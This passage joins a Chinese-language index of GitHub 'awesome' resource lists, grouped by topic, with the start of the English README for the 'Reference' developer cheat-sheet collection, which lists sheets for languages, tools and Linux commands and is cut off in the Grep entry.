[函数式编程](https://github.com/lucasviola/awesome-functional-programming#readme) - [实证软件工程](https://github.com/dspinellis/awesome-msr#readme) - Evidence-based research on software systems. - [静态分析和代码质量](https://github.com/mre/awesome-static-analysis#readme) - [信息检索](https://github.com/harpribot/awesome-information-retrieval#readme) - 带你构建自己的搜索引擎 - [量子计算](https://github.com/desireevl/awesome-quantum-computing#readme) - 量子技术相关集合 ## 大数据 - [大数据](https://github.com/onurakpolat/awesome-bigdata#readme) - [公共数据集](https://github.com/awesomedata/awesome-public-datasets#readme) - [Hadoop](https://github.com/youngwookim/awesome-hadoop#readme) - 大型数据集的分布式存储和处理的框架。 - [数据工程](https://github.com/igorbarinov/awesome-data-engineering#readme) - [流处理](https://github.com/manuzhang/awesome-streaming#readme) - [Apache Spark](https://github.com/awesome-spark/awesome-spark#readme) - 统一引擎，用于大规模数据处理。 - [Qlik](https://github.com/ambster-public/awesome-qlik#readme) - 用于数据可视化，分析和报告应用程序的商业智能平台。 ## 理论 - [Papers We Love](https://github.com/papers-we-love/papers-we-love#readme) - [讲座](https://github.com/JanVanRyswyck/awesome-talks#readme) - [算法](https://github.com/tayllan/awesome-algorithms#readme) - [学习](https://github.com/gaerae/awesome-algorithms-education#readme) - [算法可视化](https://github.com/enjalot/algovis#readme) - [人工智能](https://github.com/owainlewis/awesome-artificial-intelligence#readme) - [搜索引擎优化](https://github.com/marcobiedermann/search-engine-optimization#readme) - [竞赛](https://github.com/lnishan/awesome-competitive-programming#readme) - [数学](https://github.com/rossant/awesome-math#readme) - [递归方案](https://github.com/passy/awesome-recursion-schemes#readme) ## 书籍 - [免费编程书籍](https://github.com/EbookFoundation/free-programming-books#readme) - [免费软件测试书籍](https://github.com/ligurio/awesome-software-quality#readme) - [Go语言相关书籍](https://github.com/dariubs/GoBooks#readme) - [R语言相关书籍](https://github.com/RomanTsegelskyi/rbooks#readme) - [心灵拓展书籍](https://github.com/hackerkid/Mind-Expanding-Books#readme) - [书籍创作](https://github.com/TalAter/awesome-book-authoring#readme) - [Elixir相关书籍](https://github.com/sger/ElixirBooks#readme) ## 编辑器 - [Sublime Text](https://github.com/dreikanter/sublime-bookmarks#readme) - [Vim](https://github.com/mhinz/vim-galore#readme) - [Emacs](https://github.com/emacs-tw/awesome-emacs#readme) - [Atom](https://github.com/mehcode/awesome-atom#readme) - 开源跨平台文本编辑器。 - [Visual Studio Code](https://github.com/viatsko/awesome-vscode#readme) - 开源跨平台文本编辑器。 ## 游戏 - [游戏开发](https://github.com/ellisonleao/magictools#readme) - [游戏网络编程](https://github.com/MFatihMAR/Awesome-Game-Networking#readme) - 多人在线游戏的网络编程。 - [游戏讲座](https://github.com/hzoo/awesome-gametalks#readme) - [Godot](https://github.com/Calinou/awesome-godot#readme) - 游戏引擎. - [开源游戏](https://github.com/leereilly/games#readme) - [Unity](https://github.com/RyanNielson/awesome-unity#readme) - 游戏引擎. - [Chess](https://github.com/hkirat/awesome-chess#readme) - [LÖVE](https://github.com/love2d-community/awesome-love2d#readme) - 游戏引擎. - [PICO-8](https://github.com/pico-8/awesome-PICO-8#readme) - 梦幻的游戏开发平台. - [Game Boy 开发](https://github.com/gbdev/awesome-gbdev#readme) - [Construct 2](https://github.com/WebCreationClub/awesome-construct#readme) - Game 引擎. - [Gideros](https://github.com/stetso/awesome-gideros#readme) - 游戏引擎. - [Minecraft](https://github.com/bs-community/awesome-minecraft#readme) - 沙盒游戏. - [Game Datasets](https://github.com/leomaurodesenv/game-datasets#readme) - 游戏中AI的资源和数据集 - [Haxe Game Development](https://github.com/Dvergar/awesome-haxe-gamedev#readme) - 一种用于生成跨平台本机代码的高级强类型编程语言。 - [libGDX](https://github.com/rafaskb/awesome-libgdx#readme) - Java 游戏引擎. - [PlayCanvas](https://github.com/playcanvas/awesome-playcanvas#readme) - 游戏引擎. ## 开发环境 - [插件快速查找](https://github.com/sindresorhus/quick-look-plugins#readme) - macOS 平台. - [Dev Env](https://github.com/jondot/awesome-devenv#readme) - [Dotfiles](https://github.com/webpro/awesome-dotfiles#readme) - [Shell](https://github.com/alebcay/awesome-shell#readme) - [Fish](https://github.com/jorgebucaran/awesome-fish#readme) - 使用友好的shell. - [命令行App集](https://github.com/agarrharr/awesome-cli-apps#readme) - [ZSH插件](https://github.com/unixorn/awesome-zsh-plugins#readme) - [GitHub](https://github.com/phillipadsmith/awesome-github#readme) - Git仓库的托管服务. - [Browser Extensions](https://github.com/stefanbuck/awesome-browser-extensions-for-github#readme) - [Cheat Sheet](https://github.com/tiimgreen/github-cheat-sheet#readme) - [Pinned Gists](https://github.com/matchai/awesome-pinned-gists#readme) - [Git Cheat Sheet & Git Flow](https://github.com/arslanbilal/git-cheat-sheet#readme) - [Git Tips](https://github.com/git-tips/tips#readme) - [Git Add-ons](https://github.com/stevemao/awesome-git-addons#readme) - git cli客户端增强。 - [Git Hooks](https://github.com/compscilauren/awesome-git-hooks#readme) - 用于在git 工作流期间自动执行任务的脚本。 - [SSH](https://github.com/moul/awesome-ssh#readme) - [FOSS for Developers](https://github.com/tvvocold/FOSS-for-Dev#readme) - [Hyper](https://github.com/bnb/awesome-hyper#readme) - [PowerShell](https://github.com/janikvonrotz/awesome-powershell#readme) - 跨平台面向对象的shell。 - [Alfred Workflows](https://github.com/derimagia/awesome-alfred-workflows#readme) - 提升效率的工具集macos平台。 - [Terminals Are Sexy](https://github.com/k4m4/terminals-are-sexy#readme) ## 娱乐 - [科幻小说](https://github.com/sindresorhus/awesome-scifi#readme). - [幻想小说](https://github.com/RichardLitt/awesome-fantasy#readme) - [极客播客](https://github.com/ayr-ton/awesome-geek-podcasts#readme) - [通讯清单](https://github.com/zudochkin/awesome-newsletters#readme) - [IT行情](https://github.com/victorlaerte/awesome-it-quotes#readme) ## 数据库 - [数据库](https://github.com/numetriclabz/awesome-db#readme) - [MySQL](https://github.com/shlomi-noach/awesome-mysql#readme) - [SQLAlchemy](https://github.com/dahlia/awesome-sqlalchemy#readme) - [InfluxDB](https://github.com/mark-rushakoff/awesome-influxdb#readme) - [Neo4j](https://github.com/neueda/awesome-neo4j#readme) - [MongoDB](https://github.com/ramnes/awesome-mongodb#readme). - [RethinkDB](https://github.com/d3viant0ne/awesome-rethinkdb#readme) - [TinkerPop](https://github.com/mohataher/awesome-tinkerpop#readme) - 图形计算框架。 - [PostgreSQL](https://github.com/dhamaniasad/awesome-postgres#readme) - [CouchDB](https://github.com/quangv/awesome-couchdb#readme) - 面向文档数据库 - [HBase](https://github.com/rayokota/awesome-hbase#readme) - 分布式，可扩展的大数据存储。 - [NoSQL 指南](https://github.com/erictleung/awesome-nosql-guides#readme) ## 多媒体 - [共享的多媒体资源集](https://github.com/shime/creative-commons-media#readme) - [字体和排版资源](https://github.com/brabadu/awesome-fonts#readme) - [代码字体](https://github.com/chrissimpkins/codeface#readme) - 编辑器字体资源集。 - [图库，视频和插图网站精选列表](https://github.com/neutraltone/awesome-stock-resources#readme) - [GIF](https://github.com/davisonio/awesome-gif#readme) - GIF相关的工具，脚本，库，示例和其他资源的列表。 - [音乐](https://github.com/ciconia/awesome-music#readme) 音乐相关库，工具，框架和软件的分类集合。 - [开源文档](https://github.com/hubtee/awesome-opensource-documents#readme) - 开放源代码或开放源代码许可的文档，指南和书籍的精选列表， - [音频可视化](https://github.com/willianjusten/awesome-audio-visualization#readme) - 音频可视化相关资源集 - [广播资源集](https://github.com/ebu/awesome-broadcasting#readme) - 与广播，电视相关的开源资源集合 - [像素艺术](https://github.com/Siilwyn/awesome-pixel-art#readme) - 提供创建学习像素艺术的资源集合 - [FFmpeg](https://github.com/transitive-bullshit/awesome-ffmpeg#readme) - 跨平台的音视频传输转化解决方案资源集 - [ICONS图标](https://github.com/notlmn/awesome-icons#readme) - 能够直接下载使用的图标资源集合 ## 学习 - [CLI Workshoppers](https://github.com/therebelrobot/awesome-workshopper#readme) - 交互式实验. - [编程学习](https://github.com/karlhorky/learn-to-program#readme) - 高质量的学习资源集合 - [演讲](https://github.com/matteofigus/awesome-speaking#readme) - 演讲资源集合 - [技术视频](https://github.com/lucasviola/awesome-tech-videos#readme) - 优秀的技术视频集合 - [深入潜出机器学习](https://github.com/hangtwenty/dive-into-machine-learning#readme) - [计算机历史](https://github.com/watson/awesome-computer-history#readme) - 计算机历史相关的视频，文档等等资源集合 - [少儿编程相关](https://github.com/HollyAdele/awesome-programming-for-kids#readme) - [教育游戏](https://github.com/yrgo/awesome-eg#readme) - 玩游戏的过程中学习编程. - [JavaScript学习资源集](https://github.com/micromata/awesome-javascript-learning#readme) - [CSS学习资源集](https://github.com/micromata/awesome-css-learning#readme) - [产品&项目管理资源集合](https://github.com/dend/awesome-product-management#readme) - 学习如何成为一个更优秀的产品经理。 - [成长线路图](https://github.com/liuchong/awesome-roadmaps#readme) - 提供清晰的提高你知识和技能的路线图资源集合。 ## 安全 - [应用安全](https://github.com/paragonie/awesome-appsec#readme) - 应用安全相关资源集合。 - [安全](https://github.com/sbilly/awesome-security#readme) - 安全相关的软件，文档，书籍，库集合。 - [CTF（夺旗）](https://github.com/apsdehal/awesome-ctf#readme) - CTF框架，库，资源和软件的精选列表 - [恶意软件分析](https://github.com/rshipp/awesome-malware-analysis#readme) - [Android安全](https://github.com/ashishb/android-security-awesome#readme) - [黑客技术相关](https://github.com/carpedm20/awesome-hacking#readme) - [蜜罐技术](https://github.com/paralax/awesome-honeypots#readme) - [事件响应](https://github.com/meirwah/awesome-incident-response#readme) - 精选的安全事件响应工具和资源列表，旨在帮助安全分析人员和DFIR团队。 - [车辆安全](https://github.com/jaredthecoder/awesome-vehicle-security#readme) - [Web安全](https://github.com/qazbnm456/awesome-web-security#readme) - 精选的Web安全材料和资源列表。 - [密码破解](https://github.com/meitar/awesome-lockpicking#readme) - 密码破解&加密相关 - [网络安全人员](https://github.com/meitar/awesome-cybersecurity-blueteam#readme) - 网络安全相关的各种实用工具库等。 - [模糊测试](https://github.com/cpuu/awesome-fuzzing#readme) - 模糊测试相关资源集 - [嵌入式&物联网Security](https://github.com/fkie-cad/awesome-embedded-and-iot-security#readme) - [GDPR](https://github.com/bakke92/awesome-gdpr#readme) - 欧盟内所有个人的数据保护和隐私法规 ## 内容管理系统 - [Umbraco](https://github.com/umbraco-community/awesome-umbraco#readme) - Umbraco CMS相关项目集。 - [Refinery CMS](https://github.com/refinerycms-contrib/awesome-refinerycms#readme) - 基于Ruby on Rails的CMS。 - [Wagtail](https://github.com/springload/awesome-wagtail#readme) - 基于Django 的灵活&用户体验良好的CMS系统。 - [Textpattern](https://github.com/drmonkeyninja/awesome-textpattern#readme) - 轻量 的基于PHP的CMS系统。 - [Drupal](https://github.com/nirgn975/awesome-drupal#readme) - 扩展能力良好的基于 PHP的 CMS。 - [Craft CMS](https://github.com/craftcms/awesome#readme) - 内容优先CMS。 ## 硬件 - [机器人技术](https://github.com/Kiloreux/awesome-robotics#readme) 这是有关机器人技术的各种书籍，课程和其他资源的列表. - [物联网](https://github.com/HQarroum/awesome-iot#readme) - 物联网相关资源集合 - [电子产品](https://github.com/kitspace/awesome-electronics#readme) - 电子工程师和业余爱好者精选资源精选清单 - [蓝牙相关](https://github.com/squaremetrics/awesome-beacon#readme) - [电吉他](https://github.com/gitfrage/guitarspecs#readme) - 电吉他相关精选资源。 ## 商业 - [开放公司](https://github.com/opencompany/awesome-open-company#readme) - [可发布应用的网站集合](https://github.com/mmccaff/PlacesToPostYourStartup#readme) - [OKR 方法论](https://github.com/domenicosolazzo/awesome-okr#readme) - 目标与沟通最佳实践集。 - [领导力&管理](https://github.com/LappleApple/awesome-leading-and-managing#readme) - 关于领导者和成为经理的资源集合。 面向技术，但对任何人都可能有用。 - [独立开发者](https://github.com/mezod/awesome-indie#readme) - 帮助独立开发者赚钱的资源集合。 - [业务工具](https://github.com/cjbarber/ToolsOfTheTrade#readme) - 各种业务常用的工具集。 - [环保相关](https://github.com/nglgzz/awesome-clean-tech#readme) - 该列表的目的是收集应对气候变化的杰出公司列表，并收集与之相关的问题和解决方案的研究。 - [Wardley Maps](https://github.com/wardley-maps-community/awesome-wardley-maps#readme) ## 工作 - [Slack](https://github.com/matiassingers/awesome-slack#readme) - 团队协作工具. - [Communities](https://github.com/filipelinhares/awesome-slack#readme) - [远程工作](https://github.com/lukasz-madon/awesome-remote-job#readme) - [效率提升工具](https://github.com/jyguyomarch/awesome-productivity#readme) - [合适的工作](https://github.com/tramcar/awesome-job-boards#readme) - [面试相关](https://github.com/MaximAbramchuck/awesome-interview-questions#readme) - [代码审查](https://github.com/joho/awesome-code-review#readme) - 代码评审相关. ## 网络 - [SDN软件定义网络相关](https://github.com/sdnds-tw/awesome-sdn#readme) - [网络分析相关](https://github.com/briatte/awesome-network-analysis#readme) - [PCAP工具](https://github.com/caesar0301/awesome-pcaptools#readme) ## 分散式系统 - [比特币](https://github.com/igorbarinov/awesome-bitcoin#readme) - 面向软件开发人员的比特币服务和工具。 - [Ripple](https://github.com/vhpoet/awesome-ripple#readme) - 开源分布式结算网络。 - [非金融区块链](https://github.com/machinomy/awesome-non-financial-blockchain#readme) - 非金融区块链相关. - [Mastodon](https://github.com/tleb/awesome-mastodon#readme) - [以太坊](https://github.com/Tom2718/Awesome-Ethereum#readme) - 用于智能合约开发的分布式计算平台。 - [区块链AI](https://github.com/steven2358/awesome-blockchain-ai#readme) - 人工智能和机器学习的区块链项目。 - [EOSIO](https://github.com/DanailMinchev/awesome-eosio#readme) - 支持工业规模应用程序的分散式操作系统。 ## 高等教育 - [计算神经科学](https://github.com/eselkin/awesome-computational-neuroscience#readme) - 使用计算方法研究神经系统的多学科科学。 - [数字历史](https://github.com/maehr/awesome-digital-history#readme) - 计算机辅助的历史科学研究。 ## 其他 - [JSON](https://github.com/burningtree/awesome-json#readme) - [GeoJSON](https://github.com/tmcw/awesome-geojson#readme) - [Datasets](https://github.com/jdorfman/awesome-json-datasets#readme) - [CSV](https://github.com/secretGeek/awesomeCSV#readme) - 一种文本文件格式，用于存储表格数据并使用逗号分隔值。 - [给学生开发者的折扣](https://github.com/AchoArnold/discount-for-student-dev#readme) - [Sysadmin](https://github.com/n1trux/awesome-sysadmin#readme) - [Radio](https://github.com/kyleterry/awesome-radio#readme) - [分析相关资源](https://github.com/onurakpolat/awesome-analytics#readme) - [REST](https://github.com/marmelab/awesome-rest#readme) - [Selenium](https://github.com/christian-bromann/awesome-selenium#readme) - Web测试工具 - [Appium](https://github.com/SrinivasanTarget/awesome-appium#readme) - App自动化测试资源集. - [持续集成和持续交付](https://github.com/ciandcd/awesome-ciandcd#readme) - [服务工程](https://github.com/mmcgrana/services-engineering#readme) - [对开发者免费的资源集](https://github.com/ripienaar/free-for-dev#readme) - [问答网站](https://github.com/cyberglot/awesome-answers#readme) - Stack Overflow, Quora, 等. - [Sketch](https://github.com/diessica/awesome-sketch#readme) - macOS设计工具. - [模版项目集](https://github.com/melvin0008/awesome-projects-boilerplates#readme) - [Readme](https://github.com/matiassingers/awesome-readme#readme) - [设计&开发指南集合](https://github.com/NARKOZ/guides#readme) - [优质软件开发者模块集合](https://github.com/kilimchoi/engineering-blogs#readme) - [自托管资源集合](https://github.com/Kickball/awesome-selfhosted#readme) - [FOSS产品集合](https://github.com/DataDaoDe/awesome-foss-apps#readme) - [Gulp](https://github.com/alferov/awesome-gulp#readme) - 任务调动工具. - [AMA](https://github.com/sindresorhus/amas#readme) - 优秀的开发者集合 - [Answers](https://github.com/stoeffel/awesome-ama-answers#readme) - [开源摄影相关资源](https://github.com/ibaaj/awesome-OpenSourcePhotography#readme) - [OpenGL](https://github.com/eug/awesome-opengl#readme) - 用于渲染2D和3D图形的跨平台API - [GraphQL](https://github.com/chentsulin/awesome-graphql#readme) - [Transit](https://github.com/CUTR-at-USF/awesome-transit#readme) - [研究工具](https://github.com/emptymalei/awesome-research#readme) - [数据可视化](https://github.com/fasouto/awesome-dataviz#readme) - [设计媒体共享链接](https://github.com/vinkla/shareable-links#readme) - [微服务](https://github.com/mfornos/awesome-microservices#readme) - [Unicode](https://github.com/Wisdom/Awesome-Unicode#readme) - Unicode标准，特性，软件包和资源 - [Code Points](https://github.com/Codepoints/awesome-codepoints#readme) - [初学者友好的项目集合](https://github.com/MunGell/awesome-for-beginners#readme) - [Katas](https://github.com/gamontal/awesome-katas#readme) - [Activism工具](https://github.com/drewrwilson/toolsforactivism#readme) - [公民科学](https://github.com/dylanrees/citizen-science#readme) - 适用于社区和非机构科学家。 - [TAP](https://github.com/sindresorhus/awesome-tap#readme) - 用于测试任何协议。 - [MQTT](https://github.com/hobbyquaker/awesome-mqtt#readme) - 物联网通讯协议 - [黑客相关清单](https://github.com/daviddias/awesome-hacking-locations#readme) - [妹纸专享资源](https://github.com/cristianoliveira/awesome4girls#readme) - [Vorpal](https://github.com/vorpaljs/awesome-vorpal#readme) - NodeJS 命令行框架 - [Vulkan](https://github.com/vinjn/awesome-vulkan#readme) - 低开销，跨平台的3D图形和计算API。 - [LaTeX](https://github.com/egeerardyn/awesome-LaTeX#readme) - 排版语言. - [经济学](https://github.com/antontarasenko/awesome-economics#readme) - 经济学家的入门工具包。 - [有趣的马尔可夫链](https://github.com/sublimino/awesome-funny-markov#readme) - [生物信息学](https://github.com/danielecook/Awesome-Bioinformatics#readme) - [化学信息学](https://github.com/hsiaoyi0504/awesome-cheminformatics#readme) - 信息学技术应用于化学问题。 - [配色方案相关](https://github.com/Siddharth11/Colorful#readme) - [Steam](https://github.com/scholtzm/awesome-steam#readme) - 数字产品发行平台。 - [Bots](https://github.com/hackerkid/bots#readme) - 机器人相关工具集. - [现场可靠性工程](https://github.com/dastergon/awesome-sre#readme) - [工程同理心](https://github.com/KimberlyMunoz/empathy-in-engineering#readme) - 建立和推广更具同情心的工程文化。 - [DTrace](https://github.com/xen0l/awesome-dtrace#readme) - [用户脚本](https://github.com/brunocvcunha/awesome-userscripts#readme) - 提升浏览体验的用户脚本。 - [Pokémon](https://github.com/tobiasbueschel/awesome-pokemon#readme) - Pokémon and Pokémon GO. - [ChatOps](https://github.com/exAspArk/awesome-chatops#readme) - 通过聊天管理技术和业务运营。 - [程序员谬误](https://github.com/kdeldycke/awesome-falsehood#readme) - 程序员相信的一些谬误。 - [领域驱动设计](https://github.com/heynickc/awesome-ddd#readme) - [量化自我](https://github.com/woop/awesome-quantified-self#readme) - 通过技术进行自我跟踪。 - [SaltStack](https://github.com/hbokh/awesome-saltstack#readme) - 基于Python的配置系统管理工具 - [网页设计](https://github.com/nicolesaidy/awesome-web-design#readme) - 视觉设计专供。 - [JMeter](https://github.com/aliesbelik/awesome-jmeter#readme) - 负载测试和性能评估工具。 - [创意编码](https://github.com/terkelg/awesome-creative-coding#readme) - 编写具有表现力的东西，而不是编写功能性的东西。 - [免登陆App](https://github.com/aviaryan/awesome-no-login-web-apps#readme) - [测试相关](https://github.com/TheJambo/awesome-testing#readme) - 软件测试相关资源集合. - [免费软件集合](https://github.com/johnjago/awesome-free-software#readme) - [Framer](https://github.com/podo/awesome-framer#readme) - 交互式UI设计原型。 - [Markdown](https://github.com/BubuAnabelas/awesome-markdown#readme) - [趣味编程项目集合](https://github.com/mislavcimpersak/awesome-dev-fun#readme) - [意大利技术相关](https://github.com/ildoc/awesome-italy-events#readme) - [荷兰技术相关](https://github.com/awkward/awesome-netherlands-events#readme) - [医疗健康相关资源](https://github.com/kakoni/awesome-healthcare#readme) - 面向设施，提供商，开发商，政策专家和研究人员的开源医疗软件。 - [Magento 2](https://github.com/DavidLambauer/awesome-magento2#readme) - 使用PHP构建的开源电子商务。 - [TikZ](https://github.com/xiaohanyu/awesome-tikz#readme) - TeX / LaTeX / ConTeXt的图形绘图包。 - [神经科学](https://github.com/analyticalmonk/awesome-neuroscience#readme) - 研究神经系统和大脑。 - [无广告](https://github.com/johnjago/awesome-ad-free#readme) - 无广告的替代品。 - [Esolangs](https://github.com/angrykoala/awesome-esolangs#readme) - 玩具语言。 - [Prometheus](https://github.com/roaldnefs/awesome-prometheus#readme) - 开源监控系统。 - [智能家居](https://github.com/hobbyquaker/awesome-homematic#readme) - 智能家居设备。 - [帐本](https://github.com/sfischer13/awesome-ledger#readme) - 记账相关 - [无需授权资源](https://github.com/johnjago/awesome-uncopyright#readme) - 公共领域的作品。 - [加密货币工具和算法](https://github.com/Zheaoli/awesome-coins#readme) - [优秀杂项内容收集](https://github.com/folkswhocode/awesome-diversity#readme) - [开源支持者](https://github.com/zachflower/awesome-open-source-supporters#readme) - [设计模式](https://github.com/robinstickel/awesome-design-principles#readme) - [视觉回归测试](https://github.com/mojoaxel/awesome-regression-testing#readme) - [佛像相关](https://github.com/johnjago/awesome-theravada#readme) - [inspectIT](https://github.com/inspectit-labs/awesome-inspectit#readme) - 开源Java应用程序性能管理工具。 - [开源维护者](https://github.com/nayafia/awesome-maintainers#readme) - 成为开源维护者的经验。 - [计算器](https://github.com/xxczaki/awesome-calculators#readme) - Calculators for every platform. - [Captcha](https://github.com/ZYSzys/awesome-captcha#readme) - 用于计算以确定用户是否为真人的一种-响应测试。 - [Jupyter](https://github.com/markusschanta/awesome-jupyter#readme) - 创建并共享包含代码，方程式，可视化和描述文字的文档 - [机器人大赛](https://github.com/andrewda/awesome-frc#readme) - 国际高中机器人冠军。 - [拟人技术](https://github.com/humanetech-community/awesome-humane-tech#readme) - [Speakers](https://github.com/karlhorky/awesome-speakers#readme) - 编程和设计社区的会议和演讲。 - [棋盘游戏](https://github.com/edm00se/awesome-board-games#readme) - [软件客户](https://github.com/uraimo/awesome-software-patreons#readme) - 为个人程序员或开源项目的开发提供资金。 - [精神健康](https://github.com/dreamingechoes/awesome-mental-health#readme) - 软件行业的心理健康意识和自我保健。 - [比特币支付处理器](https://github.com/alexk111/awesome-bitcoin-payment-processors#readme) - [科学计算](https://github.com/nschloe/awesome-scientific-computing#readme) - [农业](https://github.com/beaorn/awesome-agriculture#readme) - 精选的很棒的农业，农业和园艺开源技术。 - [绘图仪](https://github.com/beardicus/awesome-plotters#readme) - 计算机控制的绘图机和其他视觉艺术机器人。 - [产品设计](https://github.com/teoga/awesome-product-design#readme) - 从概念到产品。 - [Prisma](https://github.com/catalinmiron/awesome-prisma#readme) - 将数据库变成基于GraphQL API。 - [软件架构](https://github.com/simskij/awesome-software-architecture#readme) - 设计和构建软件的学科。 - [连接性数据和报告](https://github.com/stevesong/awesome-connectivity-info#readme) - 更好地了解谁可以访问电信和互联网基础设施以及以什么条件使用。 - [Stacks](https://github.com/stackshareio/awesome-stacks#readme) - 用于构建不同应用程序和功能的技术堆栈。 - [Cytodata](https://github.com/cytodata/awesome-cytodata#readme) - 计算生物学家基于图像的生物表型分析。 - [IRC](https://github.com/davisonio/awesome-irc#readme) - 开源消息协议。 - [地球相关](https://github.com/philsturgeon/awesome-earth#readme) - [生物医学信息提取](https://github.com/caufieldjh/awesome-bioie#readme) - 如何从非结构化生物医学数据和文本中提取信息。

# 📖 Reference - Cheat Sheets for Developers [](#) [](https://github.com/Fechin/reference/blob/main/LICENSE) [](https://twitter.com/FechinLi) Reference is a collection of cheat sheets contributed by open source angels. It shares a quick reference cheat sheet for developers in a nice layout. \[ [中文版](https://github.com/jaywcjlove/reference) | ... \] We encourage you to share your own cheat sheets with the community and make Reference even better. If you notice a cheat sheet that could be improved, feel free to submit a [pull request](#-contributing). ## 👀 Live Demonstration You can view the cheat sheets live at [https://cheatsheets.zip](https://cheatsheets.zip/) [](https://cheatsheets.zip) ## 📚 Cheat Sheets List Reference provides cheat sheets for the following: <details> <summary>Programming</summary> - [Kubernetes](https://cheatsheets.zip/kubernetes.html): This page contains a list of commonly used kubectl commands and flags. - [ES6](https://cheatsheets.zip/es6.html): A quick reference cheat sheet of what's new in JavaScript for ES2015, ES2016, ES2017, ES2018 and beyond - [MATLAB](https://cheatsheets.zip/matlab.html): This quick reference cheat sheet provides an example introduction to using the [MATLAB](https://mathworks.cn/) scientific computing language to get started quickly - [C](https://cheatsheets.zip/c.html): C quick reference cheat sheet that provides basic syntax and methods. - [INI](https://cheatsheets.zip/ini.html): This is a quick reference cheat sheet for understanding and writing INI-format configuration files. - [LaTeX](https://cheatsheets.zip/latex.html): This cheat sheet summarizes a reference list of [LaTeX](https://www.latex-project.org/) commonly used display math notation and some application examples of [KaTeX](https://katex.org/). - [Rust](https://cheatsheets.zip/rust.html): The Rust quick reference cheat sheet that aims at providing help on writing basic syntax and methods. - [C#](https://cheatsheets.zip/cs.html): C# quick reference cheat sheet that provides basic syntax and methods. - [Laravel](https://cheatsheets.zip/laravel.html): [Laravel](https://laravel.com/docs/8.x/) is an expressive and progressive web application framework for PHP. This cheat sheet provides a reference for common commands and features for Laravel 8. - [Dart](https://cheatsheets.zip/dart.html): A Dart cheat sheet with the most important concepts, functions, methods, and more. A complete quick reference for beginners. - [JSON](https://cheatsheets.zip/json.html): This is a quick reference cheat sheet for understanding and writing JSON format configuration files. - [HTML](https://cheatsheets.zip/html.html): This HTML quick reference cheat sheet lists the common HTML and HTML5 tags in readable layout. - [GraphQL](https://cheatsheets.zip/graphql.html): This quick reference cheat sheet provides a brief overview of GraphQL. - [C++](https://cheatsheets.zip/cpp.html): C++ quick reference cheat sheet that provides basic syntax and methods. - [Java](https://cheatsheets.zip/java.html): This cheat sheet is a crash course for Java beginners and help review the basic syntax of the Java language. - [PHP](https://cheatsheets.zip/php.html): This [PHP](https://www.php.net/manual/en/) cheat sheet provides a reference for quickly looking up the correct syntax for the code you use most frequently. - [Docker](https://cheatsheets.zip/docker.html): This is a quick reference cheat sheet for [Docker](https://docs.docker.com/get-started/). And you can find the most common Docker commands here. - [TOML](https://cheatsheets.zip/toml.html): This is a quick reference cheat sheet to the TOML format configuration file syntax. - [YAML](https://cheatsheets.zip/yaml.html): This is a quick reference cheat sheet for understanding and writing YAML format configuration files. - [CSS 3](https://cheatsheets.zip/css.html): This is a quick reference cheat sheet for CSS goodness, listing selector syntax, properties, units and other useful bits of information. - [jQuery](https://cheatsheets.zip/jquery.html): This [jQuery](https://jquery.com/) cheat sheet is a great reference for both beginners and experienced developers. - [JavaScript](https://cheatsheets.zip/javascript.html): A JavaScript cheat sheet with the most important concepts, functions, methods, and more. A complete quick reference for beginners. - [Python](https://cheatsheets.zip/python.html): The [Python](https://www.python.org/) cheat sheet is a one-page reference sheet for the Python 3 programming language. - [Sass](https://cheatsheets.zip/sass.html): This is a quick reference cheat sheet that lists the most useful features of [SASS](https://sass-lang.com). - [Go](https://cheatsheets.zip/go.html): This cheat sheet provided basic syntax and methods to help you using [Go](https://go.dev/). - [Markdown](https://cheatsheets.zip/markdown.html): This is a quick reference cheat sheet to the Markdown syntax. - [Bash](https://cheatsheets.zip/bash.html): This is a quick reference cheat sheet to getting started with linux bash shell scripting. </details> <details> <summary>Toolkit</summary> - [ChatGPT](https://cheatsheets.zip/chatgpt.html): This cheat sheet lists out prompts and tips from all over the world on how to use ChatGPT effectively - [VSCode](https://cheatsheets.zip/vscode.html): This VSCode (Visual Studio Code) quick reference cheat sheet shows its keyboard shortcuts and commands. - [Mitmproxy](https://cheatsheets.zip/mitmproxy.html): [mitmproxy](https://mitmproxy.org/) is a free and open source interactive HTTPS proxy. This is a quick reference cheat sheet to the mitmproxy. - [XPath](https://cheatsheets.zip/xpath.html): This is an [XPath](https://en.wikipedia.org/wiki/XPath) selectors cheat sheet, which lists commonly used XPath positioning methods and CSS selectors - [Emacs](https://cheatsheets.zip/emacs.html): [Emacs](https://www.gnu.org/software/emacs) is the extensible, customizable, self-documenting real time display text editor. This reference was made for Emacs 27. - [Emmet](https://cheatsheets.zip/emmet.html): [Emmet](https://emmet.io/) is a web-developer’s toolkit for boosting HTML & CSS code writing, which allows you to write large HTML code blocks at speed of light using well-known CSS selectors. - [RegEX](https://cheatsheets.zip/regex.html): A quick reference for regular expressions (regex), including symbols, ranges, grouping, assertions and some sample patterns to get you started. - [Vim](https://cheatsheets.zip/vim.html): A useful collection of [Vim](http://www.vim.org/) 8.2 quick reference cheat sheets to help you learn vim editor faster. </details> <details> <summary>Linux Command</summary> - [Curl](https://cheatsheets.zip/curl.html): This [Curl](https://github.com/curl/curl) cheat sheet contains commands and examples of some common Curl tricks. - [PM2](https://cheatsheets.zip/pm2.html): [PM2] is a daemon process manager that will help you manage and keep your application online. Getting started with PM2 is straightforward, it is offered as a simple and intuitive CLI. - [Chmod](https://cheatsheets.zip/chmod.html): This quick reference cheat sheet provides a brief overview of file permissions, and the operation of the chmod command - [Tmux](https://cheatsheets.zip/tmux.html): The tmux cheat sheet quick reference of most commonly used shortcuts and commands - [Lsof](https://cheatsheets.zip/lsof.html): This quick reference cheat sheet provides various for using lsof command. - [SSH](https://cheatsheets.zip/ssh.html): This quick reference cheat sheet provides various for using SSH. - [Netstat](https://cheatsheets.zip/netstat.html): This quick reference cheat sheet provides various for using netstat command. - [Screen](https://cheatsheets.zip/screen.html): This is a quick reference guide cheat sheet for the screen command. - [Awk](https://cheatsheets.zip/awk.html): This is a one page quick reference cheat sheet to the [GNU awk](https://www.gnu.org/software/gawk/manual/gawk.html), which covers commonly used awk expressions and commands. - [Find](https://cheatsheets.zip/find.html): This is a quick reference list of cheat sheet for linux find command, contains common options and examples. - [Sed](https://cheatsheets.zip/sed.html): [Sed](https://www.gnu.org/software/sed/manual/sed.html) is a stream editor, this sed cheat sheet contains sed commands and some common sed tricks. - [Cron](https://cheatsheets.zip/cron.html): [Cron](https://en.wikipedia.org/wiki/Cron) is most suitable for scheduling repetitive tasks. Scheduling one-time tasks can be accomplished using the associated at utility. - [Git](https://cheatsheets.zip/git.html): This cheat sheet summarizes commonly used Git command line instructions for quick reference. - [Grep](https://cheatsheets.zip/grep.html): This cheat sheet is intended to be a quick reminder for the main concepts involved in using the command line program grep and assumes you already 